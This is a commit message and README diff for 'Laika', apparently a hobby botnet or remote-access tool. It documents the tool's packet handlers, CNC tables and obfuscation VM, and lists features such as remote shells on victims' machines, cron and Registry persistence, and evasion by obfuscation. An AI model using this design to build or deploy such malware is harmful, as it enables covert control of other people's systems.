VMBoxGen: minor refactoring

- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h
- LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well

 ## Lib: Packet Handlers
-
+Laika has a simple binary protocol & a small backend (see `lib/src/net/lpeer.c`) to handle packets to/from peers. `lib/include/net/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)

 ## Lib: Task Service
 Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
 
 ## Lib: VM Boxes
-Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D

 ## Bot: Platform-specific backends
-
 `bot/win` and `bot/lin` include code for platform-specific code that can't be quickly "ifdef"d away. These mainly include stuff like persistence or opening pseudo-ttys.

 Some notable features thus far:
 - [X] Lightweight, the bot alone is 183kb (`MinSizeRel`) and uses very little resources minimizing Laika's footprint.
 - [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
-- [X] Server and Shell configuration through `.ini` files.
+- [X] CNC and Shell configuration through `.ini` files.
-- [X] Ability to open shells remotely on the victim's machine.

 - [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
     - [X] Persistence via Cron on Linux-based systems.
     - [X] Persistence via Windows Registry.
 - [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
 - [ ] Simple configuration using CMake:
-    - [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.)
+    - [X] Setting keypairs (`-DLAIKA_CNC_IP=? -DLAIKA_CNC_PORT=?`, etc.)

-## Why?
-
-I started this project to practice my systems programming skills, specifically networking related things. The networking code in this project (under `/lib`) is probably what I'm most proud of in this project. After that I started trying to learn some common obfuscation methods I've seen used in the wild. I've used this project mostly to improve my skills of managing a 'larger' project. Things relating to having a consistent code style, documenting features and development tasks are really important skills to have when managing a codebase like this.
